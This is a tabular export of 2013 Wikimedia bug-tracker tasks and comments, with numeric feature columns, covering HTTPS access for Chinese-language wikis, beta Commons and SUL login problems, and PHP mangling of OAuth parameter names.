--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
250902,HTTPS only Wikimedia problem for China Language related Wikipedias,"> Can somebody tell me how this work and the what is the possible resolution?

jingchaoye: Please discuss in the thread on wikitech-l@ mailing list or
https://meta.wikimedia.org/wiki/Talk:HTTPS and be more specific about ""this"". Let's not triplicate everything that was already written and said here.",,,1377076300,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,True,,,-1,True,0.0,2.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,10.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,8.0,5.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.05,0.925,"QUOTE

jingchaoye: Please discuss in the thread on wikitech-l@ mailing list or
URL and be more specific about ""this"". Let's not triplicate everything that was already written and said here."
250893,HTTPS only Wikimedia problem for China Language related Wikipedias,"(In reply to comment #0)
> This bug is about the problem of HTTPS for languages of China (where HTTPS is
> blocked). I suggest not to discuss political implications here (and discuss
> it on the wikimedia-l mailing list) but only technical things.

You forgot to describe ""the bug"" or bring up any ""technical things"" in your initial comment. Also see https://www.mediawiki.org/wiki/How_to_report_a_bug

The discussion really will not profit from yet another place to discuss, besides already existing wikitech-l mailing list and https://meta.wikimedia.org/wiki/Talk:HTTPS especially as the situation in China has always been part of the discussion from the very beginning (in contrast to Iran which was brought up in bug 52846).",,,1377076211,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,True,,,-1,True,1.0,0.0,1.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,1.0,2.0,9.0,0.0,0.0,0.0,1.0,6.0,0.0,2.0,0.0,2.0,17.0,3.0,0.0,4.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.9148936170212765,0.723404255319149,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

You forgot to describe ""the bug"" or bring up any ""technical things"" in your initial comment. Also see URL

The discussion really will not profit from yet another place to discuss, besides already existing wikitech-l mailing list and URL especially as the situation in China has always been part of the discussion from the very beginning (in contrast to Iran which was brought up in bug 52846)."
250881,HTTPS only Wikimedia problem for China Language related Wikipedias,"**jingchaoye** wrote:

these language may lose its native speaker if Https is used. 
(In reply to comment #1)
> According to
> https://meta.wikimedia.org/w/index.php?title=Talk:
> HTTPS&oldid=5733512#List_of_Chinese_Wikipedia
> the list of Wikimedia projects whose languages are spoken in China is:
> * Standard Chinese (zh)
> * Classical Chinese (lzh)
> * Wuu Chinese (wuu)
> * Gan Chinese (gan)
> * Hakka Chinese (hak)
> * Cantonese (yue / zh-yue.wikipedia.org)
> * Tibetan (bo)
> * Minnan Chinese(nan / zh-min-nan.wikipedia.org)
> * Mindong Chinese (cdo)
> * Uyghur (ug)",,,1377075769,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,28.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,5.0,26.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.47368421052631576,"**jingchaoye** wrote:

these language may lose its native speaker if Https is used. 
(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
250869,HTTPS only Wikimedia problem for China Language related Wikipedias,"**jingchaoye** wrote:

Can somebody tell me how this work and the what is the possible resolution?",,,1377074726,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,False,,,-1,True,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,9.0,4.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,3.652173913043478,0.8260869565217391,"**jingchaoye** wrote:

Can somebody tell me how this work and the what is the possible resolution?"
250862,HTTPS only Wikimedia problem for China Language related Wikipedias,"According to https://meta.wikimedia.org/w/index.php?title=Talk:HTTPS&oldid=5733512#List_of_Chinese_Wikipedia the list of Wikimedia projects whose languages are spoken in China is:
* Standard Chinese (zh)
* Classical Chinese (lzh)
* Wuu Chinese (wuu)
* Gan Chinese (gan)
* Hakka Chinese (hak)
* Cantonese (yue / zh-yue.wikipedia.org)
* Tibetan (bo)
* Minnan Chinese(nan / zh-min-nan.wikipedia.org)
* Mindong Chinese (cdo)
* Uyghur (ug)",,,1377070410,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-ewbuemim6adiimcwdugy,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,25.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,28.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5058823529411764,0.5176470588235295,"According to URL the list of Wikimedia projects whose languages are spoken in China is:
* Standard Chinese (zh)
* Classical Chinese (lzh)
* Wuu Chinese (wuu)
* Gan Chinese (gan)
* Hakka Chinese (hak)
* Cantonese (yue / zh-yue.wikipedia.org)
* Tibetan (bo)
* Minnan Chinese(nan / zh-min-nan.wikipedia.org)
* Mindong Chinese (cdo)
* Uyghur (ug)"
55080,no login error messages on http://commons.wikipedia.beta.wmflabs.org/,"Attempt to login on beta commons with improper credentials. 

Messages like ""Login error/There is no user by the name ""asfdasfa"""" do not appear. 

Such messages do appear on http://commons.wikipedia.beta.wmflabs.org/

Note: this may be because http://commons.wikipedia.beta.wmflabs.org/ redirects to http://commons.wikimedia.beta.wmflabs.org/

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1376955600,1377115058.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-tfg4qrkl4fjjuyzop3ck,task_description,declined,True,c2,2,False,False,True,-2,True,0.0,0.0,0.0,0.0,1.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,16.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.838235294117647,0.6617647058823529,"Attempt to login on beta commons with improper credentials. 

Messages like ""Login error/There is no user by the name ""asfdasfa"""" do not appear. 

Such messages do appear on URL

Note: this may be because URL redirects to URL

--------------------------
**Version**: unspecified
**Severity**: normal"
247362,no login error messages on http://commons.wikipedia.beta.wmflabs.org/,"works for me now, I'm not sure why though",,,1377115058,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-tfg4qrkl4fjjuyzop3ck,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,27.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,1.0,"works for me now, I'm not sure why though"
247357,no login error messages on http://commons.wikipedia.beta.wmflabs.org/,"I can't reproduce.

Yes, http://commons.wikipedia.beta.wmflabs.org/ redirects to https://commons.wikimedia.beta.wmflabs.org/wiki/Main_Page but logging in (https://commons.wikimedia.beta.wmflabs.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page) do show the message «There is no user by the name ""Foo"". Check your spelling, or go to Wikipedia's signup page to create a new user account. »

[the link sends you to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup, which is wrong, though]",,,1377087964,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-tfg4qrkl4fjjuyzop3ck,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,3.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,3.0,15.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,5.0,9.0,5.0,0.0,3.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,3.227272727272727,0.7575757575757576,"I can't reproduce.

Yes, URL redirects to URL but logging in (URL do show the message «There is no user by the name ""Foo"". Check your spelling, or go to Wikipedia's signup page to create a new user account. »

[the link sends you to URL which is wrong, though]"
54949,"Use ""https:"" on keywords description","Please, replace the ocurrences of ""http:"" by ""https:"" at
https://bugzilla.wikimedia.org/describekeywords.cgi

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: https://bugzilla.wikimedia.org/describekeywords.cgi",Needs Triage,90.0,1376698320,1376734943.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-ukbfopq54yyqxxzqzxub,task_description,resolved,True,c2,2,False,False,True,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.130434782608696,0.5,"Please, replace the ocurrences of ""http:"" by ""https:"" at
URL

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: URL"
239622,"Use ""https:"" on keywords description",Done. Thanks!,,,1376734943,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ukbfopq54yyqxxzqzxub,task_subcomment,,True,c2,2,True,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Done. Thanks!
239617,"Use ""https:"" on keywords description","It seems some the descriptions contain clickable links, while others don't. It'd also be nice to have all clickable links.",,,1376715410,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ukbfopq54yyqxxzqzxub,task_subcomment,,True,c2,2,True,,,-2,True,8.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.12,0.84,"It seems some the descriptions contain clickable links, while others don't. It'd also be nice to have all clickable links."
54568,login to enwiki displayed a wikimediafoundation.org CentralLogin failure,"On a test browser instance I visited https://en.wikipedia.org, and clicked Log in. I used a WMF test account (SpageTest AC 0618-1) that I probably hadn't used since June.

Login displayed an unexpected failure from http://wikimediafoundation.org/wiki/Special:CentralLogin/start?token=TokenHereBlahblah , ""No such special page"".  I was actually logged in to enwiki.  Note the URL above is CentralLogin/start, not CentralAutoLogin/start, I think I copied and pasted it from the browser location bar.

I logged out and repeated the login, with Firebug active.  This time I logged in fine. There was still a 404 in the Net tab but it didn't display as a failure and it was from  http://wikimediafoundation.org/wiki/Special:CentralAutoLogin/checkLoggedIn?wikiid=enwikisource&type=1x1&from=enwiki

I logged out, cleared my cookies, and went back to enwiki and logged in; this time there were no requests to wikimediafoundation.org

Maybe this is a remnant of some old-style login cookies.

--------------------------
**Version**: wmf-deployment
**Severity**: minor",Needs Triage,90.0,1375750980,1375751957.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-xgwjosqhvtrun47ibokp,task_description,resolved,True,c2,2,False,False,True,-4,True,0.5,0.0,0.0,0.5,1.5,3.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,5.0,0.0,4.5,9.0,0.0,0.0,0.0,0.5,0.0,9.5,0.5,0.0,0.5,0.0,0.0,0.0,2.0,1.0,1.5,0.5,0.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,14.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,5.0,3.0,15.5,0.5,3.5,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,6.5,9.0,6.0,0.0,1.0,0.0,6.5,0.0,0.5,3.0,0.0,0.0,0.0,0.0,0.5,3.6875,0.6770833333333333,"On a test browser instance I visited URL and clicked Log in. I used a WMF test account (SpageTest AC 0618-1) that I probably hadn't used since June.

Login displayed an unexpected failure from URL , ""No such special page"".  I was actually logged in to enwiki.  Note the URL above is CentralLogin/start, not CentralAutoLogin/start, I think I copied and pasted it from the browser location bar.

I logged out and repeated the login, with Firebug active.  This time I logged in fine. There was still a 404 in the Net tab but it didn't display as a failure and it was from  URL

I logged out, cleared my cookies, and went back to enwiki and logged in; this time there were no requests to wikimediafoundation.org

Maybe this is a remnant of some old-style login cookies.

--------------------------
**Version**: wmf-deployment
**Severity**: minor"
241691,login to enwiki displayed a wikimediafoundation.org CentralLogin failure,"I filed this as a Wikimedia config bug, but now I see bug 52206 describes the same scenario.

*** This bug has been marked as a duplicate of bug 52206 ***",,,1375751957,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-xgwjosqhvtrun47ibokp,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.289473684210526,0.6842105263157895,"I filed this as a Wikimedia config bug, but now I see bug 52206 describes the same scenario.

*** This bug has been marked as a duplicate of bug 52206 ***"
54481,OAuth can't validate http parameters with spaces in the name,"MediaWiki appears to normalize spaces in names to _, before extensions are able to read the original names.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1375476120,1378329992.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-u5ehwupktlsuxie5nfvq,task_description,invalid,True,c2,2,True,False,True,-4,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.394736842105263,0.6842105263157895,"MediaWiki appears to normalize spaces in names to _, before extensions are able to read the original names.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
236547,OAuth can't validate http parameters with spaces in the name,"Changed back to getting the raw POST and parsing it ourselves, so this is no longer an issue.",,,1378329992,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-u5ehwupktlsuxie5nfvq,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,5.0,10.0,5.0,0.0,0.0,3.8,1.0,"Changed back to getting the raw POST and parsing it ourselves, so this is no longer an issue."
236542,OAuth can't validate http parameters with spaces in the name,"Actually it's PHP mangling the names, as the same behavior is seen in a four-line test page that just echos back $_GET and $_POST.

 <?php
 header( 'Content-Type: text/plain' );
 var_dump($_GET);
 var_dump($_POST);

Besides space, this also affects period and open-bracket (and ASCII NUL truncates the key), at least in PHP 5.5.1 on my local system. With respect to periods and spaces, this behavior is mentioned at http://www.php.net/manual/en/language.variables.external.php.",,,1375714420,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-u5ehwupktlsuxie5nfvq,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,1.5,0.0,3.5,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,2.5,8.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,4.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,9.0,1.0,3.5,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,8.0,5.0,0.5,1.0,0.0,1.5,0.0,0.5,0.5,0.0,0.5,0.0,1.0,0.5,3.490761689291101,0.8540723981900452,"Actually it's PHP mangling the names, as the same behavior is seen in a four-line test page that just echos back $_GET and $_POST.

 <?php
 header( 'Content-Type: text/plain' );
 var_dump($_GET);
 var_dump($_POST);

Besides space, this also affects period and open-bracket (and ASCII NUL truncates the key), at least in PHP 5.5.1 on my local system. With respect to periods and spaces, this behavior is mentioned at URL"
54397,Login only in one project in spite of SUL-account,"**Author:** `hosse`

**Description:**
Sorry for my bad english. If I'm logging in I'm only registered in german Wikipedia and not in all other projekts in what I have an account (SUL). I noticed it first yesterday. And I've tried it now several times - ever the same. 

It is not only a problem of mine: https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#Anmelden

I'm using Firefox 22.0 over https.

Thanks

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC",Needs Triage,90.0,1375367460,1377670929.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-a52euaakwk6ruvv3t3o6,task_description,invalid,True,c2,2,False,False,True,-4,True,1.0,0.0,0.0,0.0,1.5,4.5,0.0,0.0,0.0,0.5,2.0,2.5,0.0,1.5,0.0,4.0,0.0,4.5,4.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.0,1.0,15.5,0.5,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,6.5,4.5,3.5,0.0,0.0,0.0,5.5,0.0,0.5,1.5,0.0,1.5,0.0,0.0,0.0,3.202009518773136,0.649788471708091,"**Author:** CODE

**Description:**
Sorry for my bad english. If I'm logging in I'm only registered in german Wikipedia and not in all other projekts in what I have an account (SUL). I noticed it first yesterday. And I've tried it now several times - ever the same. 

It is not only a problem of mine: URL

I'm using Firefox 22.0 over https.

Thanks

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7
**Platform**: PC"
257007,Login only in one project in spite of SUL-account,"**hosse** wrote:

(In reply to comment #3)
> hosse: So this works for you now, or is there still a problem?

It's ok now, but it seems that others have similar problems with log in too. My problem is fixed. Thanks.",,,1377670562,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a52euaakwk6ruvv3t3o6,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,7.0,11.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.977272727272727,0.8636363636363636,"**hosse** wrote:

(In reply to comment #3)
QUOTE

It's ok now, but it seems that others have similar problems with log in too. My problem is fixed. Thanks."
257001,Login only in one project in spite of SUL-account,"hosse: So this works for you now, or is there still a problem?",,,1377619547,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a52euaakwk6ruvv3t3o6,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,"hosse: So this works for you now, or is there still a problem?"
256994,Login only in one project in spite of SUL-account,"**hosse** wrote:

(In reply to comment #1)
> Thanks for the report Hoose.
> 
> Is it possible for you to delete your cookies, and see if you have the same
> result? Or maybe try from another browser? I'd like to determine if the
> problem
> is your cookies, or if it is your account.

I deleted all my cookies and my cache. At first it was the same result. No log in in other projects only de:wikipedia. Then I logged of in de:wikipedia and now I was logged in in commons. Then I deleted the cookies again. And now I'm logged in in all other projekts. Strange...

Hmm, I will report this at https://de.wikipedia.org/wiki/Wikipedia:Fragen_zur_Wikipedia#Anmelden

Thank you for your help.
Hosse",,,1375423874,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a52euaakwk6ruvv3t3o6,task_subcomment,,True,c2,2,False,,,-4,True,1.5,0.0,0.0,1.0,0.0,3.0,0.5,0.0,0.0,0.0,6.0,1.0,0.0,0.5,0.0,6.0,0.0,5.5,9.5,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.5,2.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,16.5,0.0,2.5,4.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,8.0,9.5,6.5,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1607142857142856,0.6875,"**hosse** wrote:

